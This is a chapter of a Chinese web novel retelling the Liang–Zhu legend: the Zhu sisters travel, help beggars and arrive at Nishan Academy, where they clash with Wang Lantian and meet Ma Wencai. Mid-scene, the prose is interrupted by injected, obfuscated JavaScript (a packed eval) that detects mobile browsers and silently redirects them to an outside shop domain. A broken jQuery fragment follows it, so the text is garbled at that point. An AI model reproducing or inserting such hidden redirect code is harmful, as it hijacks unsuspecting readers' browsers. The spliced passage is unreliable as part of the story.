2. 离家
    祝英台几乎是沉迷在姐姐交给她的这些道理中,如痴如醉。

    直到和姐姐一起提前离家,看见外面的广阔天地,心里才忽然不踏实的生出两分轻飘飘和喜悦来。

    她真的出来了,祝英台痴迷于路上的一草一木一山一水,什么都如此稀奇,都是她从没见过的。

    祝英回笑道:“我们倒可以不着急去读书,世上的男人读完书之后,都要去游学,然后才出仕做官。

    “现在虽然世道乱了,咱们倒也可以去游学一番。”

    祝英台自然无有不应。

    但在游学的路上,原本兴奋的祝英台渐渐沉郁了下来。

    永嘉南渡之后,中原士女偏安江左一地,汉人所遭屈辱登峰造极。

    司马氏杀死了皇帝,让“君权神授”一事彻底破碎,礼崩乐坏之下,好一些的,如阮籍行为癫狂而不伤人。

    但是,如顾恺之那般迷信歪门邪道并恶意伤害他人的,其实才是大多数。〔1〕

    更糟糕的是,因为魏晋南北朝处于冰河期,天气阴湿闷热,毒虫多生,时人常用五石散以使身体发热、驱除蚊虫。

    但此物多用使神情癫狂,上瘾不可自拔……

    世道散发着一种不正常也不健康的糜烂气息,祝英台身为士族女,外出之后所见士人均是行为狂放的清谈家,而民生……

    多苦。

    虽然不像北边胡人之地吃人,但是人人都如同在苦水里泡了一遍又一遍。

    祝英台看着倒在街边的乞丐群,他们中的很多人腿上白骨毕显、蛆虫在其中钻来钻去,她忽然道:“哥,你说的没错,这世道太悲哀,黄姐姐承受不住。”

    她看向姐姐:“哥,我想帮帮他们。”

    祝英回神色一动,最终,还是点了点头。

    二人出发之前,祝英台几乎把自己攒下的钱都带走了,因而两个人凑了凑,便足以在当地买一个庄子。

    请大夫,让身边的扮做书童的侍女去把街边的乞丐买下来做活。

    等到那些人腿上身上终于缠上了纱布,祝英台笑容浮现,她感到一种新奇的感觉。

    她真的通过自己的能力,改变了别人的命运。她难耐地捏捏自己的手,好似想要握住什么东西。

    祝英回告诉妹妹了一点很重要的事情:“英台,这世上苦楚的人太多了,有钱是改变不了任何事情的。”

    她说:“真正改变了这个世道的,是宰相谢安等人手中握着的权力。”

    谢安拒胡人于江边,依靠长江天险击退符坚,总算是为中原汉人留存了最后一线生机和骨血。

    祝英台也知道谢安,她默了一瞬,咬着牙,一字一顿:“那我们就去抢那些清谈家、那些尸位素餐之人手中的权!”

    那一刻,她的眼睛中燃烧着几乎要焚烧一切的烈火,祝英回没有接她的话,祝英台也瞬间平静了下来,不再提这个话题。

    两个女子结束了自己的游学,自上饶而向尼山书院出发。

    上饶多水乡,姐妹两人此去自然是走水路,而这一走,就遇见了梁祝故事里的另一个主人公——梁山伯。

    ……祝英回感觉很惊奇,这算什么,该相遇的人总是会遇到的吗?

    梁山伯和祝英回不太谈得来,但是和祝英台升之前的想法却有些相似。

    祝英台和梁山伯都是理想的浪漫主义者,对于未来一片热枕,祝英回上辈子白手起家什么没见过,那股子老辣的奸诈味都透出皮肉,让梁山伯本能地不敢靠近了。

    对于这种笃定了理想便去不顾一切实现的人,祝英回乐于助长他们的理想,因为这个世界太过于悲惨,如果没有一些虚无的理想做推力,人只会被时代的浪潮卷走,然后消失。

    一行三人到了书院,一路爬山,梁山伯累得气喘吁吁,倒是惯于君子六艺的姐妹二人腰不酸腿不疼,祝英台甚至还有余裕拉梁山伯一把。

    就在山门前,就出了他们入学以来的第一件事,不大不小,至少在祝英回眼里不算大事儿。

    尼山书院中显贵不少,现在堵在门口耀武扬威的就是其中一个。

    王蓝田,本名王述,因为父亲是蓝田侯,所以经常自称王蓝田。

    本来蓝田侯也算个不小的爵位,但是他父亲并没有实质的官职,只有一个虚衔,但他家又不是太原王氏的主支,所以其实并无太多话语权。

    但是在这个地方,却算得上是数一数二的,至少对祝氏这种小士族来说是绝对惹不起的。

    祝英回却并没有打算惯着他,且不说学生之间的争吵王蓝田敢不敢告诉他爹,就说那个以温和仆厚闻名的蓝田侯也压根儿不会管这种事情。

    祝英回看着祝英台气鼓鼓地无效输出,再看看王蓝田满脸的得意洋洋,祝英回压了压祝英台指着王蓝田气得颤抖的手指。

    开口就是绝杀:“你倒是胆子大,不孝这种事情也敢摆在台面上说。”

    王蓝田浑身一个激灵,这个时代不孝可不是小事,如果坐实了不孝,那他还读什么书?干脆卷包袱回家算了!

    “你你你你,你不要胡说!我何曾不孝,我可孝顺我爹娘了。”他王蓝田嘴皮子都不利索了,跳着脚指着祝英回怒骂,妄图清洗这个人给自己加的罪名。

    祝英回斜睨了他一眼,慢条斯理的捋逻辑:“你刚才自称王蓝田,是也不是?”

    王蓝田颇有些摸不着头脑:“是啊,那又怎样?”

    祝英回冷笑一声:“令尊才是现任的蓝田侯,爵位只有等令尊去世,才轮得到你,这位兄台,你此时就这么迫不及待的自称王蓝田,安的是什么心?”

    不必多说了,大家都懂了,你爹还没死呢,你就顶着蓝田二字耀武扬威,难道是在诅咒你爹早死,好让你继承爵位?

    虽然大家心里都清楚王述这傻子恐怕只是炫耀自己家有爵位,但是这不妨碍大家起哄啊!

    荀巨伯带头起哄:“是啊是啊王述你安的什么心”

    底下其它学子迅速跟上:“啧啧啧,他胆子可真大”

    把王述吓得面色苍白,一个劲儿的喊大家闭嘴,甚至他自己也急到顾不上任何体面,上手去捂人嘴物理静音。

    最终王述虽然仗着自己带的小厮多,强行控制了场面。但他看了一眼祝英回,打了个哆嗦。

    动物般的直觉让他直接略过了祝英回一行人,撑着气势吼:“我就叫王述,我爹是蓝田侯,你们要进去就得拜我当老大!”

    祝英回轻笑一声,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340064|140519||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    祝英台也嘻嘻地笑,梁山伯看着促狭的义弟笑着摇了摇头,王述浑身一激灵,遍体生寒。

    就在这时,一个少年郎骑马远远的听见了这一声,冷笑着弯弓搭箭,利箭射出的同时轻蔑地哼出一声:“当老大?你也配?”

    这支箭射出不过转瞬之间,学子们顿时骚乱了起来。起哄归起哄,也没人真的想让王蓝田受伤。

    祝英回脸色一变,看了一眼被吓得浑身僵直动都动不了的王述,暗骂一声蠢东西,急急上前两步一脚踹在了王述小腿弯,把他踹倒在地。

    那支箭矢从她眼前一尺的地方划过,钉在梁柱上,尾羽嗡然作响,颤抖不止。

    祝英回并未惊慌,而是暗松了一口气,这箭就算射中了也就是射中王述肩膀的位置,不要命。

    看来来的这人没想过要他的命,肆意妄为,但还是有理智,有理智就好,有理智就还能好好谈谈。

    她站在台阶之上,转身正对着那骑马而来的少年郎,眉头一挑。

    无他,这少年眉目桀骜却也俊美如斯,长发高束,手持弓箭,方才那一支利箭已然说明此人弓马娴熟。

    他神态姿势都倨傲得很,身姿挺拔,宽肩窄腰,实在是个无关男女、叫人眼前一亮的美人。

    但美人欣赏一瞬也就够了,祝英回微微一笑,神色不见一丝惊意,仿佛未曾看见那支射来的箭,她拱手行礼,迎着阳光,却是洒脱不羁:“在下上饶祝英回,未曾请教阁下尊姓大名?”

    她欣赏马文才的同时马文才也在打量她,此人眉目清朗,许是年纪不大的缘故,颇有些雌雄莫辨的美感,周身自有一股从容之气,身姿如竹挺拔。

    要论胆气,刚刚箭矢从眼前擦过也并无惊慌之色,倒也……

    算是个人物。

    他压了压眉宇之间的傲气,并未下马,拱手回礼:“杭州,马文才。”

    不同于祝英回姐妹俩,围观的学子尽皆露出了恍然大悟的表情,就连王述也露出了‘怎么是他’的憋屈表情,祝英回站得高,把众人神色尽收眼底,不动声色地客套:“久仰大名。”

    马文才显然也深谙敷衍之道,微微颔首:“我亦是。”祝英台对这个家伙感官不太好,暗自腹议,姐姐的闺名这家伙打哪儿知道,一听就不真诚。

    没人受伤,大家伙自然也就渐渐安静下来了,马文才自去马厩栓了马。

    他回来后不一会儿,学里的夫子就出来了,这个夫子约莫不惑之年,面容严肃,眉心三道聚拢,看着便极为不好相处。

    “念到名字的,上来交束脩。”

    前面都平安无事,念到马文才时,他越众而出,微笑着询问夫子:“后面还有多少学生?”

    夫子蹙了蹙眉,略微翻了翻,给出了一个数字:“二十人”

    马文才笑道:“那我便将后面的同窗的全部交上,凑个整二百金,也省得夫子一个个的念麻烦。”

    夫子略微哼笑一声:“那你问问底下的学子愿意吗?”施以小利收拢人心,可惜手段不够娴熟。

    之前山门前的那场闹剧夫子已经听说了,此刻更有些诧异此人竟不认为自己的所作所为会惹人怒?

    这傲慢的小子,若不改改这性格,迟早吃大亏。